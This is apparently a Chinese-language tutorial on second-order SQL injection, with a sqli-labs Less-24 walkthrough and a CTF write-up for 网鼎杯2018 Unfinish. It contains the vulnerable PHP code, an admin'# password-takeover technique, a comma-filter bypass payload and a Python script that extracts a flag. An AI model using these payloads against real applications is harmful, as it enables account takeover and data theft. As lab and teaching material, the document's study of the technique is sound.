二次注入

1、概述

二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。
二次注入是sql注入的一种,但是比普通sql注入利用更加困难,利用门槛更高。普通注入数据直接进入到 SQL 查询中,而二次注入则是输入数据经处理后存储,取出后,再次进入到 SQL 查询。

2、原理

二次注入的原理,在第一次进行数据库插入数据的时候,使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义,但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 进行转义,但是“\”并不会插入到数据库中,在写入数据库的时候还是保留了原来的数据。在将数据存入到了数据库中之后,开发者就认为数据是可信的。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。
比如在第一次插入数据的时候,数据中带有单引号,直接插入到了数据库中;然后在下一次使用中在拼凑的过程中,就形成了二次注入。
二次注入,可以概括为以下两步:

  • 第一步:插入恶意数据
    进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
  • 第二步:引用恶意数据
    开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。
    配合下图可以有更好的理解:
    二次注入原理图

3、注入方法

这里我们使用sqli-labs/Less24为例,进行二次注入方法的练习:
在这里插入图片描述

输入admin’#,尝试使用万能密码登录,失败:
在这里插入图片描述

登录的部分源代码如下:

$username = mysql_real_escape_string($_POST["login_user"]);
$password = mysql_real_escape_string($_POST["login_password"]);
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

可以看到使用了mysql_real_escape_string进行转义处理,无法进行SQL注入。

继续研究,发现登陆页面可以进行用户注册,这里我们注册一个admin’#的账号:
在这里插入图片描述

注册新用户过程中的处理代码:

if (isset($_POST['submit']))
{
$username= mysql_escape_string($_POST['username']) ;
$pass= mysql_escape_string($_POST['password']);
$re_pass= mysql_escape_string($_POST['re_password']);
echo "<font size='3' color='#FFFF00'>";
$sql = "select count(*) from users where username='$username'";
$res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
$row = mysql_fetch_row($res);
//print_r($row);
if (!$row[0]== 0)
{
?>
<script>alert("The username Already exists, Please choose a different username ")</script>;
<?php
header('refresh:1, url=new_user.php');
}
else
{
if ($pass==$re_pass)
{
# Building up the query........
$sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
mysql_query($sql) or die('Error Creating your user account, : '.mysql_error());
echo "</br>";

可以看到传入的username、password、re_password仍均被mysql_escape_string进行了转义处理,但是在数据库中还是插入了admin’#:
在这里插入图片描述

这时,我们用admin’#登陆,并进行密码修改,密码修改为123456:
在这里插入图片描述

执行后,查看数据库数据:
在这里插入图片描述

可以看到admin的密码由原来的123修改为123456。

登录成功后修改密码的源代码:

if (isset($_POST['submit']))
{
    # Validating the user input........
    $username= $_SESSION["username"];
    $curr_pass= mysql_real_escape_string($_POST['current_password']);
    $pass= mysql_real_escape_string($_POST['password']);
    $re_pass= mysql_real_escape_string($_POST['re_password']);
    
    if($pass==$re_pass)
    { 
        $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
        $res = mysql_query($sql) or die('You tried to be smart, Try harder!!!! :( ');
        $row = mysql_affected_rows();
        echo '<font size="3" color="#FFFF00">';
        echo '<center>';
        if($row==1)
        {
            echo "Password successfully updated";
    
        }
        else
        {
            header('Location: failed.php');
            //echo 'You tried to be smart, Try harder!!!! :( ';
        }
    }
    else
    {
        echo '<font size="5" color="#FFFF00"><center>';
        echo "Make sure New Password and Retype Password fields have same value";
        header('refresh:2, url=index.php');
    }
}

Username直接从数据库中取出,没有经过转义处理。在更新用户密码的时候其实执行了下面的命令:
“UPDATE users SET PASSWORD=‘123456’ where username=‘admin’#’ and password=’$curr_pass’”。
因为我们将问题数据存储到了数据库,而程序再取数据库中的数据的时候没有进行二次判断便直接带入到代码中,从而造成了二次注入。

4、CTF实战

[网鼎杯2018]Unfinish
题目页面:
在这里插入图片描述

用御剑扫描:
在这里插入图片描述

正常注册,登录,抓包看逻辑
注册有用户名、登录没有用户名,登录成功后用户名回显,猜测用户名存在二次注入
尝试用户名 1’ and '0
登录后发现用户名是0,说明存在二次注入

成功注册,状态码302
注册失败,状态码200
用burpsuite跑一遍字典查看过滤字符,
在这里插入图片描述

“,”和“information”( 无法通过类似x’ union select table_schema,table_name from information_schema.tables where table_schema=‘pikachu’#语句得到表名字)都被过滤掉了

注入语句实现方式
我们可以看这样的语句:
在这里插入图片描述
如果用了hex:
在这里插入图片描述
这样’test’字符串的十六进制就会成功显示出来

但是还有个问题:
在这里插入图片描述
flag的十六进制里存在字母。如果让它和’0’相加的话,会存在截断的问题:
在这里插入图片描述
所以我们应该二次hex,让最后的结果全是数字,这样就不存在截断的问题了:
在这里插入图片描述

但是还有问题。如果结果超过10位的话,会转成科学计数法,导致丢失数据。因此要用substr来截,因为这题过滤了逗号,所以要用from for来绕过:
在这里插入图片描述

还有一个问题,就是我们再尝试注入的时候发现information被过滤了。因此必须猜测表名是flag。注入的语句是select * from flag。
测试payload:email=test4@qq.com&username=0’%2B(select hex(hex(database())))%2B’0&password=123456

最终脚本:

import requests


login_url='http://220.249.52.133:39445/login.php'
register_url='http://220.249.52.133:39445/register.php'
content=''
for i in range(1,20):
    data_register={'email':'15@%d'%i,'username':"0'+( substr(hex(hex((select * from flag ))) from (%d-1)*10+1 for 10))+'0"%i,'password':'1'}
    #print(data)
    data_login={'email':'15@%d'%i,'password':'1'}
    requests.post(register_url,data=data_register)
    rr=requests.post(login_url,data=data_login)
    rr.encoding='utf-8'
    r=rr.text
    location=r.find('user-name')
    cont=r[location+17:location+42].strip()
    content+=cont
    print(cont)
#content=content.decode('hex').decode('hex')
print(content)

得到flag:
在这里插入图片描述
参考大神博客:https://www.jianshu.com/p/3fe7904683ac
https://www.jianshu.com/p/3fe7904683ac

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐